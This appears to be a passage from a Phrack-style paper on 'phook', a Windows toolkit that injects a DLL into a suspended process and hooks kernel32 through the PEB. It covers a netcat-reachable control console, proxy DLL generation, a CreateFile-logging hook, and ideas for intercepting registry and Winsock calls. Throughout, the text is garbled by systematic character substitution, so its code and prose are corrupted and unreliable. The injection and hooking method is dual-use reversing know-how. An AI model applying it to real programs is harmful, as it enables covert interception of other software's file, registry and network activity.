------[ /54 $=4/
=nce the t"*e of *rocess is kno3n, 3e alread" kno3 ho3 to create it
sus*ended correctl" Csee section F.HD.
5oteE the method ma" not al3a"s 3ork, in some ocassion a
>$onsole *rocess> 3ill (e detected as >6<I *rocess>.
#he code that loads the 4%% is *ut in a structure called %=)4/+?4%%?s
Csee section F.HD. %=)4/+?4%%?s is loaded 3ith the instructions in
assem(ler and the needed data. It is necessar" to 3rite in the created
*rocess the structure %=)4/+?4%%?s and to call to $reate+emote#hread,
1i0in1 it as entr"*oint the start of the structure, so that the code of
%=)4/+?4%%?s is executed.
=nce the 4%% is loaded, the thread is sus*ended from 3hich %=)4/+?4%%?s is
(ein1 executed and increments a fla1 to indicate it.
------[ $=4/

t"*edef struct %=)4/+?4%%?s
U
WO - $=4/ ------------------------------------------------------ OW
P<@&?)@A?t *ush?name?dll[ WO P<@& >4%%?I5I/$#.4%%>OW
$)%%?)@A?t call?load?li(rar"[ WO $)%% %oad%i(rar") OW

$)%%?)@A?t call?1et?current?thread[ WO $)%% 6et$urrent#hreadOW
I5$?!7#/?A/A?t inc?fla1[ WO I5$ [;%)6 OW
char P<@&?/)G[ WO P<@& /)G OW
$)%%?)@A?t call?sus*endthread[ WO $)%% @us*end#hread OW

WO - 4)#) ------------------------------------------------------ OW
char name?dll[A)G?P)#&[ WO 4%%?I5I/$#.4%%8\08 OW
char fla1[ WO [;%)6 OW

V %=)4/+?4%%?t[

------[ /54 $=4/
------[ 4.F - $onsole $ontrol
$onsole $ontrol is the 4%% that is in9ected in the *rocess in 3hich it is
3anted to realiBe P/! &==,I56 [#.1. It allo3s to make P/! &==,I56 [#.1
and other tasks interacti0el" (" means of a command console (" sockets. #he
*ort that listens 3rites it in the file $E\*h?listen?*orts.lo1, 3ith the
nomenclature PI4 - P=+#. /xam*le of a *rocess 3ith PI4 F4.-,
listenin1 in the *ort 1FH4E F4.- - 1FH4.
)t the moment "ou ha0e the follo3in1 list of commandsE
hel* - @ho3s this screen
exit - $loses and unloads the console
sus*end - Pauses the execution of the *ro1ram
resume - +esumes the execution of the *ro1ram
sho3modules - @ho3s the list of modules
load [*aram1 - %oads in memor" the s*ecified li(rar"
in [*aram1
unload [*aram1 - <nloads a li(rar" s*ecified in memor" in
[*aram1
*e(hook [*aram1 [*aramF - +ealiBes P/! &==,I56 [#.1 o0er a dll
[*aram1E 5ame of the ori1inal dll
[*aramFE Path to the 4%%?;),/
It is eas" to understand each of the commands that our console admits, so
3e 3ill ex*lain ho3 >sho3modules>, >*e(hook> and >sus*end> 3ork.
#he commando >sho3modules> does a search in the P/! [+.1 of the loaded
modules 3ithout usin1 )PIs.
*e(hook is the command that realiBes all the *rocess of P/! &==,I56 Csee
section HD.
If P/! &==,I56 [#.1 o0er kernelHF.dll is 3anted to (e done, usin1 as
4%%?;),/ >$E\*hook\(in\3indo3s?x*?s*F\*h?kerHF.dll>, for the =@ 'indo3s
GP @PF, onl" it is necessar" to send the commandE
- *e(hook kernelHF.dll cE\*hook\(in\3indo3s?x*?s*F\*h?kerHF.dll
#he command sus*end is ca*a(le of sus*endin1 the execution of the main
thread of the *rocess. #he #I4 of the main thread is o(tained (ro3sin1
the #&+/)4/5#+7HF [+.1H of the s"stem till it reaches the first of
the *rocessE

------[ $=4/

!==% 6etAain#hreadIdC 4'=+4 O thread?id D
U
&)54%/ h#hread@na*[
#&+/)4/5#+7HF thHF[
!==% return?function[
4'=+4 *rocess?id[

*rocess?id = 6et$urrentProcessIdCD[
h#hread@na* = I5V)%I4?&)54%/?V)%</[
return?function = ;)%@/[

h#hread@na* = \
$reate#oolhel*HF@na*shotC #&HF$@?@5)P#&+/)4, *rocess?id D[

ifC h#hread@na* == I5V)%I4?&)54%/?V)%</ D
U
@ho36et%ast/rror@trin1
C > 6etAain#hreadIdCD - $reate#oolhel*HF@na*shotCD> D[
return ;)%@/[
V

thHF.d3@iBe = siBeofC #&+/)4/5#+7HF D[
ifC P#hreadHF;irstC h#hread@na*, M thHF D D
@ho36et%ast/rror@trin1C >6etAain#hreadIdCD - #hreadHF;irstCD>D[

do
U
if C thHF.thHF=3nerProcessI4 == *rocess?id D
U
O thread?id = thHF.thHF#hreadI4[
return?function = #+</[
V

V
3hile
C
#hreadHF5extC h#hread@na*, M thHF D MM return?function P= #+</
D[

$lose&andleC h#hread@na* D[

return return?function[
V

------[ /54 $=4/

------[ 4.H - $reate/x*
$reate/x* is a *ro1ram that 1enerates the source code needed to realiBe a
4%%?;),/ from a 4%%?+/)%. )t the moment it creates the files .c and .def,
to use 3ith min13.
#o create a 4%%?;),/ of kernelHF.dll it is needed to executeE
- $reate/x* $E\'I54='@\@7@#/AHF\,/+5/%HF.4%% $E\*h?kerHF
If it has 3orked 3ell the files $E\*h?kerHF.c and $E\*h?kerHF.def 3ill
(e created.
*h?kerHF.c contains the definitions of the ex*ortations of kernelHF.dll
and 9um*s automaticall" to the ori1inals.
*h?kerHF.def contains the alias and the names of the ex*ortations of
kernelHF.dll.
!" default the ex*ortations of 4%%?;),/ 3ill 9um* to the corres*ondin1
ex*ortation of 4%%?+/)%.
------[ 4.H.1 - ;or3arder 4%%
$reate/x* tranforms the ;or3arder 4%% [+.H into ex*ortations, so
P/! &==,I56 of a function ;or3arder can (e done.
/xam*leE kernelHF.dll has as ;or3arder &ea*)lloc that 1oes to the
ex*ortation +tl)llocate&ea* of 5#4%.4%%. 'hen a module im*orts
&ea*)lloc from kernelHF.dll, the %oader of 3inHF automaticall"
*uts the address of the ex*ortation of 5#4%%.4%% and ne0er
*asses throu1h kernelHF.dllE
$)%% &ea*)lloc
[*rocess ------------------S [5#4%%.4%%
_ 0 |
Y-------------------------------Y
1

If a 4%%?;),/ of kernelHF.dll is created 3ith $reate/x*, the flo3 3ill (eE

$)%% &ea*)lloc C4%%?;),/D
[*rocess ------------------S [,/+5/%HF.4%% --------S [5#4%%.4%%
_ 0 1 |
Y-----------------------------------------------------Y
F

=f such form that 3e can im*lement a hook of &ea*)lloc CkernelHF.dllD.
------[ 4.4 - *h?kerHF.dll
*h?kerHF.dll 3as created to do P/! &==,I56 [#.1 to kernelHF.dll[
monotoriBes the access to the )PIs >$reate;ile)> and >$reate;ile'> [+.14,
and 3hen it is called to an" other automaticall" it 9um*s to the ori1inal.
In order to easen the 9um* to an )PI a IAP macro has (een created, it has
to *ass the name of the 4%% and the ordinal of the ex*ortation Cto see the
IAP macro see section 4.4.FD.
*h?kerHF.c created 3ith $reate/x* CIAP macro has (een omittedDE

------[ $=4/

#define ;),/?%I! >*h?kerHF.dll>
4%%/GP=+# 0oid ?)cti0ate)ct$tx C 0oid D
U
IAPC ;),/?%I!, 1 D[
V

4%%/GP=+# 0oid ?)dd)tom) C 0oid D
U
IAPC ;),/?%I!, F D[
V

4%%/GP=+# 0oid ?)dd)tom' C 0oid D
U
IAPC ;),/?%I!, H D[
V

4%%/GP=+# 0oid ?)dd$onsole)lias) C 0oid D
U
IAPC ;),/?%I!, 4 D[
V
....

------[ /54 $=4/

It is necessar" to remem(er that once P/! &==,I56 [#.1 has (een made,
kernelHF.dll 3ill no3 (e named *h?kerHF.dll, for that reason
*h?kerHF.dll in the s"m(olic constant ;),/?%I! is indicated.
*h?kerHF.def created 3ith $reate/x*E
------[ $=4/

%I!+)+7 default
/GP=+#@
)cti0ate)ct$tx=?)cti0ate)ct$tx Q 1
)dd)tom)=?)dd)tom) Q F
)dd)tom'=?)dd)tom' Q H
...

------[ /54 $=4/
!" reasons of clarit" the im*lementation of the )PIs $reate;ile) and
$reate;ile' [+.14 ha0e (een *ut in the file o3ns.c. 'hen a call is
made to $reate;ile) and to $reate;ile' [+.14 it is 3ritten the
*arameter l*;ile5ame in the file $E\$reate;ile.lo1

o3ns.cE

------[ $=4/

#define ;I%/?%=6 $E\$reate;ile.lo1

4%%/GP=+#
&)54%/ ?stdcall ?$reate;ile'
C
%P$'@#+ l*;ile5ame,
4'=+4 d34esired)ccess,
4'=+4 d3@hareAode,
%P@/$<+I#7?)##+I!<#/@ l*@ecurit")ttri(utes,
4'=+4 d3$reation4istri(ution,
4'=+4 d3;la1s)nd)ttri(utes,
&)54%/ h#em*late;ile
D
U
char asc?str[A)G?P)#&[

if C <nicode#o)5@IC C'$&)+ OD l*;ile5ame, asc?str D == 0 D
$reate;ile%o11erC asc?str D[

return $reate;ile'C
l*;ile5ame,
d34esired)ccess,
d3@hareAode,
l*@ecurit")ttri(utes,
d3$reation4istri(ution,
d3;la1s)nd)ttri(utes,
h#em*late;ile D[
V

4%%/GP=+#
&)54%/ ?stdcall ?$reate;ile)
C
%P$@#+ l*;ile5ame,
4'=+4 d34esired)ccess,
4'=+4 d3@hareAode,
%P@/$<+I#7?)##+I!<#/@ l*@ecurit")ttri(utes,
4'=+4 d3$reation4istri(ution,
4'=+4 d3;la1s)nd)ttri(utes,
&)54%/ h#em*late;ile
D
U
char asc?str[A)G?P)#&[

$reate;ile%o11erC l*;ile5ame D[

return $reate;ile)C
l*;ile5ame,
d34esired)ccess,
d3@hareAode,
l*@ecurit")ttri(utes,
d3$reation4istri(ution,
d3;la1s)nd)ttri(utes,
h#em*late;ile D[
V

static 0oid
$reate;ile%o11erC const char O file?to?lo1 D
U
&)54%/ file[
4'=+4 chars[

file = \
$reate;ile)
C
;I%/?%=6 ,
6/5/+I$?'+I#/ | 6/5/+I$?+/)4 ,
0 ,
5<%% ,
=P/5?)%')7@ ,
0 ,
5<%%
D[

if C file P= I5V)%I4?&)54%/?V)%</ D
U
if C @et;ilePointerC file, 0, 5<%%, ;I%/?/54 D P= -1 D
U
'rite;ile
C
file, file?to?lo1, strlenC file?to?lo1 D, Mchars, 5<%%
D[
'rite;ileC file, >\x04\x0)>, F, Mchars, 5<%% D[
V
$lose&andleC file D[
V
V

------[ /54 $=4/
------[ 4.4.1 - @tack *ro(lems
'hen it is 3anted to directl" *ass the control to an )PI 3hich *rotot"*e
is not kno3n a 1eneric form, it is necessar" to *ass it the intact stack
to the ori1inal )PI. #his is 1otten in min13 3ith the o*tion of the
com*ilator -fomit-frame-*ointer [+.1. and a IAP C)@AD to the ori1inal
)PI.
#he functions that ha0e (een im*lemented ha0e to (e *ut in the *rotot"*e
and must (e of the t"*e ?stdcall. #he functions of t"*e ?stdcall ha0e a
different s"ntax in the file .defE
- 5ame?ex*ortation=)liasQar1uments O 4 Q =rdinal
/xam*le of file .def 3ith the )PIs of t"*e ?stdcall $reate;ile) and
$reate;ile' [+.14 C(oth ha0e se0en ar1umentsDE

------[ $=4/

%I!+)+7 *h?kerHF
/GP=+#@

[ 5ame /x* | )lias | 5o )r1s O 4 | =rdinal 'indo3s GP @PF
$reate;ile'=?$reate;ile'QFK Q KH
$reate;ile)=?$reate;ile)QFK Q K0

------[ /54 $=4/
#he functions of t"*e ?stdcall should not (e com*iled 3ith
-fomit-frame-*ointer [+.1. o*tion.
------[ 4.4.F - +e1istr" *ro(lems
5ot onl" is necessar" to *ass the stack intact to an ex*ortation, some
times the ex*ortations directl" use the 0alues of the re1isters. !efore
*assin1 the control to the ori1inal ex*ortation it is necessar" to let the
re1isters intact, this is accom*lished insertin1 in the code the
instructions P<@&)4 and P=P)4E
[P<@&)4 [ $=4/ 5//4/4 #= I<AP #= #&/ /GP=+#)#I=5 [P=P)4
)n exam*le of ex*ortation that directl" uses the re1isters is ?chkstk of
5#4%%.4%%E
?chkstk in 5#4%%.4%% C'I54='@ GP @PFDE

------[ $=4/

J$L11)0L SWN H4 00100000 $AP /)G,1000
J$L11)0/ |. JH 0/ I5! @&=+# ntdll.J$L11)1/
J$L11)10 |. ;J4K 5/6 /)G
J$L11)1F |. 0H$4 )44 /)G,/@P
J$L11)14 |. KH$0 04 )44 /)G,4
J$L11)1J |. K.00 #/@# 4'=+4 P#+ 4@E[/)G,/)G
J$L11)1L |. L4 G$&6 /)G,/@P
J$L11)1) |. K!00 A=V /)G,4'=+4 P#+ 4@E[/)G
J$L11)1$ |. .0 P<@& /)G
J$L11)14 |. $H +/#5
J$L11)1/ |S .1 P<@& /$G
J$L11)1; |. K44$F4 0K %/) /$G,4'=+4 P#+ @@E[/@PYK
J$L11)FH |S K1/L 00100000 W@<! /$G,1000
J$L11)FL |. F4 00100000 |@<! /)G,1000
J$L11)F/ |. K.01 |#/@# 4'=+4 P#+ 4@E[/$G,/)G
J$L11)H0 |. H4 00100000 |$AP /)G,1000
J$L11)H. |._JH /$ \I5! @&=+# ntdll.J$L11)FH
J$L11)HJ |. F!$K @<! /$G,/)G
J$L11)HL |. K!$4 A=V /)G,/@P
J$L11)H! |. K.01 #/@# 4'=+4 P#+ 4@E[/$G,/)G
J$L11)H4 |. K!/1 A=V /@P,/$G
J$L11)H; |. K!0K A=V /$G,4'=+4 P#+ 4@E[/)G
J$L11)41 |. K!40 04 A=V /)G,4'=+4 P#+ 4@E[/)GY4
J$L11)44 |. .0 P<@& /)G
J$L11)4. \. $H +/#5
------[ /54 $=4/
------[ 4.4.H - #he IAP macro
#he IAP macro is necessar" since not al3a"s all the 4%% Cfile .hD
declarations are had in its header. 'ith the IAP macro the address of
the ex*ortation is o(tained 3ith 6etProc)ddress [+.1F in runtime.
------[ $=4/
unsi1ned lon1 tm*[

#define IAPC li(, func D \
asm C >*ushad> D[ \
asm \
C \
> *ush edx \n> \
> *ush ^1 \n> \
> call eax \n> \
> *o* edx \n> \
> *ush ^F \n> \
> *ush eax \n> \
> call edx \n> \
> mo0 ^4, eax \n> \
> *o*ad \n> \
\
E E \
>a> C6etAodule&andleD , \
>1> Cli(D , \
>1> CfuncD , \
>d> C6etProc)ddressD , \
>1> Ctm*D \
D[ \
asm C >9m* ^0> E E >1> Ctm*D D[
------[ /54 $=4/
#he code is for min13 [+.1- 3ith the com*iler o*tion -masm=intel.
------[ 4.4.4 - Versions
'e ha0e included in *hook 0arious 0ersions of *h?kerHF for the s"stemsE
- 'indo3s GP @PF 0..1.F-00
- 'indo3s @er0er F00H +F 0..F.HJL0
- 'indo3s Vista 0-.0.-000
@ource code in *h?kerHFW@= and (inaries in (inW=@.
------[ 4.. - <sin1 *hook
%ets ima1ine that 3e 3ant to do P/! &==,I56 [#.1 to kernelHF.dll 3ith
*h?kerHF.dll, the *ro1rama *oc.exe has (een chosen for the exam*le Ccomes
in the folder (in\ of *hookD.
@te*s to follo3E
1.- /xecute In9ector4%% indicatin1 a *ro1ram to execute and the 4%% of the
console that 3ill (e in9ected in the *rocessE
- In9ector4%%.exe console.dll -u *oc.exe
#he *rocess 3ill (e hold in sus*ended state and there 3ill (e a socket
listenin1 in the *ort indicated in the file $E\*h?listen?*orts.lo1

$E\*hook\(inSIn9ector4ll.exe console.dll -u *oc.exe
????????????????????????????????????????????????????????????????
| In9ector4%% 01.0 |
| |
| [@hearer eunimedes)#hotmail.com |
| 4re1 4re1)#frHH*ro9ect.or1 |
| -------------------------------------------------------------- |
| htt*EWW333.frHH*ro9ect.or1 |
|????????????????????????????????????????????????????????????????|

@ho3in1 in9ection data .....
Pro1ram to in9ect E *oc.exe
%i(rar" to in9ectE console.dll

[=, - $=5@=%/.
[=, - $reate *rocessE
[I5;= PI4E 0x0L-0
[I5;= P. &)54%/E 0x00000J!K
[I5;= #I4E 0x0)/0
[I5;= #. &)54%/E 0x00000J!0
[I5;= - In9ectin1 4%%...
[=, - )llocate memor" in the extern *rocess.
[I5;= - )ddress reser0ed on the other *rocessE 0x00F40000
[I5;= - @*ace re:uestedE H0-
[=, - $reatin1 structure for the dll load.
[=, - 'ritin1 structure for the dll load.
[=, - $reatin1 remote thread.
[I5;= - #hread created 3ith #I4E 0x0!FK
[I5;= - )ttem*tE 1
[I5;= - #hread has entered sus*ension mode.
[=, - In9ection thread ended.
[=, - Aemor" in remote thread freed.
[=, - 4%% in9ected.

[=, - In9ection ended.
F.- It is necessar" to connect 3ith a client of t"*e netcat to the o*en
*ort, in this caseE 1FH4.

$E\Snc 1FJ.0.0.1 1FH4
????????????????????????????????????????????????????????????????
| Phook Prom*t 01.0 |
| [@hearer eunimedes)#hotmail.com |
| 4re1 4re1)#frHH*ro9ect.or1 |
| -------------------------------------------------------------- |
| htt*EWW333.frHH*ro9ect.or1 |
|????????????????????????????????????????????????????????????????|


*h S hel*
?????????????????????????????????????????????????????????????????
| Phook Prom*t 01.0 |
| |
| $ommand listE |
| --------------------------------------------------------------- |
| hel* - @ho3s this screen |
| exit - $loses and unloads the console |
| sus*end - Pauses the *ro1rams execution |
| resume - +esumes the *ro1rams execution |
| sho3modules - @ho3s the modules list |
| load [*aram1 - %oads in memor" the li(rar" |
| es*ecified in [*aram1 |
| unload [*aram1 - <nloads a li(rer" in memor" |
| es*ecified in [*aram1 |
| *e(hook [*aram1 [*aramF - Performs P/! &ook o0er a dll |
| [*aram1E 5ame of the ori1inal dll |
| [*aramFE Path to the 4%% hook |
|?????????????????????????????????????????????????????????????????|
H.- P/! &==,I56 [#.1 to kernelHF.dll is realiBed 3ith the *h?kerHF.dllE
*h S *e(hook kernelHF.dll $E\*hook\(in\3indo3s?x*?s*F\*h?kerHF.dll
4.- #he command resume is sent so that the execution of the *rocess
(e1ins.

*h S resume
*h S
$E\*hook\(inS
..- *oc.exe creates the files in $E\
- file
- fileF
- fileH
-.- *h?kerHF.dll re1isters the successful calls to the )PIs $reate;ile)
and $reate;ile' [+.14 in the file $E\$reate;ile.lo1
J.-
$E\Smore $reate;ile.lo1

$E\file1
$E\fileF
$E\fileH


------[ 4...1 - 4%% AI5I;I%#/+
*hook allo3s to realiBe 4%% AI5I;I%#/+ Csee section H.JD (" a sim*le
manner. It onl" has to realiBe P/! &==,I56 [#.1, 3ith the command
*e(hook, o0er the name of the 4%%?;),/, that is the one that had
4%%?+/)%.
@u**osin1 that 3e ha0e t3o 4%%?;),/sE
- *h?kerHF?1.dllE AonotoriBes access to the )PIs $reate;ile [+.14.
- *h?kerHF?F.dllE AonotoriBes the access of the )PI +ead;ile [+.1J.
#o do 4%% AI5I;I%#/+ it is as eas" asE

$E\Snc 1FJ.0.0.1 1FH4
????????????????????????????????????????????????????????????????
| Phook Prom*t 01.0 |
| [@hearer eunimedes)#hotmail.com |
| 4re1 4re1)#frHH*ro9ect.or1 |
| -------------------------------------------------------------- |
| htt*EWW333.frHH*ro9ect.or1 |
|????????????????????????????????????????????????????????????????|


*h S *e(hook kernelHF.dll $E\*hook\(in\3indo3s?x*?s*F\*h?kerHF?1.dll
*h S *e(hook kernelHF.dll $E\*hook\(in\3indo3s?x*?s*F\*h?kerHF?F.dll
;lo3 of a call of the *rocess to kernelHF.dllE
0 1 F
[*rocess --S [*h?kerHF?F.dll --S [*h?kerHF?F.dll -S [kernelHF.dll
_ |
| H |
Y------------------------------------------------------Y

------[ 4.- - ;re:uent *ro(lems
!esides of the *ro(lems in the section H.K, there are othersE
Y-------------------------------------------------------------------------Y
| Pro(lem | Possi(leWs @olutionWs |
|-------------------------------Y-----------------------------------------|
| - 4%%?;),/ com*ilation fails | - $heck that the functions that 1o |
| | directl" to 4%%?+/)% are not re*eated |
| | and are im*lemented. |
| | - $heck that the im*lemented functions |
| | Cthat must (e of ?stdcall t"*eD are |
| | 3ell defined in the .def file |
| | Csee section 4.4.1D. |
|-------------------------------Y-----------------------------------------|
| - #he execution of the | - $heck that the functions that 1o |
| *rocess fails | directl" to 4%%?+/)% ha0e (een |
| | com*iled 3ith the o*tion |
| | -fomit-frame-*ointer Csee section |
| | 4.4.1D. |
| | - $heck that the im*lemented functions |
| | are of ?stdcall t"*e. |
| | - $heck that 4%%?;),/ ha0e (een created |
| | from the 4%%?+/)% and not another. |
| | - $heck if In9ector4%% has correctl" |
| | detected the real t"*e of the *rocess |
| | C6<I or $=5@=%/D. |
|-------------------------------Y-----------------------------------------|
| - It is not *ossi(le to | - $heck that the *ort 1FH4 is o*en |
| connect to the console | (efore doin1 P/! &==,I56 [#.1. |
| | - $heck fire3all (lockin1s... |
| | - $heck that the full *ath of |
| | console.dll has (een indicated in |
| | In9ector4%%. |
|-------------------------------Y-----------------------------------------|
| - In9ector4%% does not 3ork | - $heck that the *ri0ile1ies to in9ect |
| | a 4%% 3ere o(tained |
| | C$reate+emote#hread..D |
| | - $heck anti-0irus (lockin1... |
|-------------------------------Y-----------------------------------------|
| - $reate/x* does not 3ork | - $heck that the *ath of 4%%?+/)% ia a |
| | correct P/HF and that the /GP=+# |
| | 4I+/$#=+7 is not corru*ted [+.H. |
Y-------------------------------------------------------------------------Y
@ome other *ro(lems ma" exist due to *ro1rammin1 andWor desi1n failures.
------[ ..- #=4=
)t the moment 3e are tr"in1 toE
- +ealiBe P/! &==,I56 [#.1 (efore the execution ofE
- #%@ #a(le and 4%%Aain [+.H.
- $reate de(u1 files and confi1uration for the console.
- +ules for the re*air of I)#s [+.4.
- customiBed list of listenin1 *orts.
- ...
- Im*ro0e In9ector4%%E
- )utomatic detection of >6<I *rocess> and >$onsole *rocess>.


------[ -.- #estin1
#ests 3ith *hook in different 0ersions of 'indo3s and other *ro1rams
ha0e (een made.
'indo3sE
- 'indo3s GP @PF 0..1.F-00
- 'indo3s @er0er F00H +F 0..F.HJL0
- 'indo3s Vista 0-.0.-000
)nd theoreticall" it 3ould ha0e to 3ork in 'indo3s F000, (ut 3e ha0e
not 0erified it.
Pro1ramsE
- Aicrosoft 'ord 10.0.F-FJ.0
- +e1edit ..1.F-00.F1K0
- 5ote*ad ..1.F-00.F1K0
- $alc ..1.F-00.0
- $A4 ..1.F-00.F1K0
- *iathook 1.4
- *e(tr" !eta .
- *eHFanal"Ber !eta F
------[ J.- )d0anta1es and *ossi(ilities
#he (i11est ad0anta1e of P/! &==,I56 [#.1 o0er other hookin1 methods is
that it onl" has to (e a**lied once. )t the moment that a hook to a 4%%
has (een done, an" module that is loaded 3ill automaticall" ha0e in his
I)# [+.H the ex*orts that use 4%%?;),/. #he rest of the modules ha0e to
a**l" the hook e0er" time that the module is loaded.
=ther ad0anta1es of usin1 P/! &==,I56 [#.1E

- ) search in the P/! Cusin1 the field !ase4ll5ameD to find
4%%?+/)%, 3ill arri0e at 4%%?;),/.

- P/! &==,I56 is a more sta(le method for the =@ than others in rin10.

- @ome *ackers do not detect P/! &==,I56 [#.1 as it is not a 3ell
documented method.

- It is not necessar" to chan1e the (eha0ior of the )PIs that 3ork
3ith modules. 'hen a module tries to o(tain the handler of the
4%%?+/)%, 3ill automaticall" o(tain the handler 4%%?;),/.
- Possi(ilit" of creatin1 4%% AI5I;I%#/+ Csee section H.JD.

- P/! &==,I56 of a ex*ortation ;or3arder [+.H can (e done 3ithout
makin1 P/! &==,I56 to the ;or3arder 4%%.
#he s*ectrum of *ossi(ilities that the P/! &==,I56 [#.1 method allo3s
and *hook is :uite am*le, next 3e raised some exam*lesE

- AonotoriBeW0irtualiBe the access to the re1istr" of a *rocess.
- P=$ [+.1KE
1.- <se the tool $reate/x* Csee section 4.HD on
>ad0a*iHF.dll>.
F.- !ased on 3hat is desired to do, it is necessar" to
im*lement the monitoriBationW0irtualiBation in the next
)PIsE
- +e1$lose,e"
- +e1$reate,e")W+e1$reate,e"'
- +e1$reate,e"/x)W+e1$reate,e"/x'
- +e14elete,e")W+e14elete,e"'
- +e1%oad,e")W+e1%oad,e"'
- +e1=*en,e")W+e1=*en,e"'
- +e1=*en,e"/x)W+e1=*en,e"/x'
- +e1Xuer"Value)W+e1Xuer"Value'
- +e1Xuer"Value/x)W+e1Xuer"Value/x'
- +e1+e*lace,e")W+e1+e*lace,e"'
- +e1+estore,e")W+e1+estore,e"'
- +e1@a0e,e")W+e1@a0e,e"'
- +e1@a0e,e"/x)W+e1@a0e,e"/x'
- +e1@etValue)W+e1@etValue'
- +e1@etValue/x)W+e1@etValue/x'
- +e1<n%oad,e")W+e1<n%oad,e"'
...

- AonotoriBeW0irtualiBe conections.
- P=$ [+.F0E
1.- <se the tool $reate/x* Csee section 4.HD on
>3sF?HF.dll>.
F.- !ased on 3hat is desired to do, it is necessar" to
im*lement the monitoriBationW0irtualiBation of the
follo3in1 )PIsE
- acce*t
- (ind
- closesocket
- connect
- listen
- rec0
- rec0from
- send
- sendto
- socket
- '@))cce*t
- '@)$onnect
- '@)+ec0
- '@)+ec0;rom
- '@)@end
- '@)@end#o
- '@)@ocket)W'
...

- @"scall Prox" de ficherosE
- P=$ [+.1LE
1.- <se the tool $reate/x* Csee section 4.HD on
>kernelHF.dll>.
F.- !ased on 3hat is desired to do, it is necessar" to
im*lement the redirection of the follo3in1 )PIsE
- $reate;ile)W$reate;ile'
- $reate;ile/x)W$reate;ile/x'
- +ead;ile
- +ead;ile/x
- 'rite;ile
- 'rite;ile/x
...

- ... and free "our mind [-D
------[ K.- $onclusion
If it is necessar" to do a hook to an )PIWex*ortation, an" actual method
ma" (e used. !ut if it is necessar" to monitoriBe or 0irtualiBe the access
to 0arious )PIsWex*ortations 3ith *hook it is a lot sim*lier the
im*lementation, as it is onl" necessar" to *ro1ram the functionalit" of the
)PIsWex*ortations.
!esides, it is a method oriented to the re0erse en1ineerin1 of soft3are and
mal3are *rotection s"stems, as it difficults alternati0e methods of
searchin1 the ex*ortations and elimination of hooks.


------[ L.- )ckno3led1ements
+ecommendations for the *a*erE
- *hrack staff
- #arako
#ranslation to /n1lish of the chains of *hookE
- @outhern
- %o1icAan
- G/5A)G
#ranslations of the *a*er to /n1lishE
- !/#) E )na &i9osa
- !/#) FE delco"ote
- )$#<)%E %o1icAan
Virii sceneE
- 6ri7o, Bert, @lo3, *luf, xeBa3, sha0 ...
+e0ersin1 sceneE
- *=*/, I,4, ilo, +i*e, intFJh, at4r, uri, numitor, 0ikt0r", kania,
remains, @-P-)-+-, ...

=ther sceneE
- s"nc, r"den, xenmax, oBoneWmem(ri0e, \_snake_\, to*o, fix1rain, ia-4,
o0erdri0e, success, scor*ionn, o"BBo, simkin, Pd@+ ...
)%% 0x.Ja-LeBine.or1 and Ja-LeBine.or1 *eo*le [-D
)nd s*eciall" tahnks to 7Iesus - htt*EWW333.securit"-*ro9ects.com
------[ 10.- +elated 'orks
[#.1 .- 'e are not a3are of an" 3ork similar to *hook, (ut there is an
article that talks a(out P/! &==,I56 3ritten (" 4erokoE >P/! 4%%
&ookin1 5o0el method to &ook 4%%s>. #he article 3as *u(lished in
the )+#eam-/Bine num(er F.
- htt*EWW333.arteam.accessroot.comWeBineWfile?infoWdo3nload1.*h*2
file=)+#eam.eTine.5um(erF.rar
------[ 11.- +eferences
[+.1 .- @tructures of the P/!E
- htt*EWWundocumented.ntinternals.netW
[+.F .- 6ainin1 im*ortant datas from P/! under 5# (oxesE
- htt*EWW0x.netlux.or1WFLaWFLa--WFLa--.FF4
[+.H .- Visual @tudio, Aicrosoft Porta(le /xecuta(le and $ommon =(9ect
;ile ;ormat @*ecification. +e0ision K.0 - Aa" 1-, F00-E
- htt*EWW333.microsoft.comW3hdcWs"stemW*latformWfirm3areW
P/$=;;.ms*x
[+.4 .- 'hat 6oes =n Inside 'indo3s F000E @ol0in1 the A"steries of the
%oaderE
- htt*EWWmsdn.microsoft.comWmsdnma1WissuesW0FW0HW%oaderW
[+.. .- 3innt.h C4/V-$PPDE
- htt*EWW333.(loodshed.netWde0c**.html
[+.- - $reateProcessE
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"Wms-KF4F.C0s.K0D.as*x
[+.J - #hree 'a"s to In9ect 7our $ode into )nother ProcessE
- htt*EWW333.code*ro9ect.comWthreadsW3ins*".as*
[+.K - Im*ort address ta(le hooksE
- htt*EWW333.securit"focus.comWinfocusW1K.0
[+.L - $ode o0er3ritin1E
- htt*EWW333.code*ro9ect.comWs"stemWhooks"s.as*
[+.10 - &ooksE
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"Wms-HF.KL.as*x
[+.11 - @"stem $all =*timiBation 3ith the @7@/5#/+ InstructionE
- htt*EWW(lo1.done3s.comWB3ellWarchi0eWF00.W0HW1HWH00440.as*x
[+.1F - +un-#ime 4"namic %inkin1
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"Wms-K.0L0.as*x
[+.1H - #hread 'alkin1
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"Wms-K-JK0.as*x
[+.14 - $reate;ile
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"WaaH-HK.K.as*x
[+.1. - A)5 6$$ C-fomit-frame-*ointerDE
- htt*EWW333.astro.uni-(onn.deWZ3e(st3WcmW1nuW1ccW1cc.1.html
[+.1- - AI56'E
- htt*EWW333.min13.or1W
[+.1J - +ead;ileE
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"WaaH-.4-J.as*x
[+.1K - +e1istr" ;unctionsE
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"WmsJF4KJ..as*x

[+.1L - ;ile Aana1ement ;unctionsE
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"WaaH-4FHF.as*x
[+.F0 - 'insock ;unctionsE
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"WmsJ41HL4.as*x
[+.F0 - A@45 %I!+)+7E
- htt*EWWmsdnF.microsoft.comWen-usWli(rar"W
[+.F1 - IcBelion8s 'inHF )ssem(l" &ome*a1eE
- htt*EWW3inHFassem(l".online.frW
------[ 1F.- @ource $ode
Aessa1e-I4E R3cF00J101.1K00.4F00H141LKJ.QlocalhostS
AIA/-VersionE 1.0
$ontent-4escri*tionE ><< encode of *hooktZ1.1B (" 'incode F.J.H>
$ontent-#"*eE a**licationWG-1Bi*[ name=>*hooktZ1.1B>
$ontent-#ransfer-/ncodin1E G-uuencode
$ontent-4is*ositionE attachment[ filename=>*hooktZ1.1B>
(e1in -44 *hooktZ1.1B
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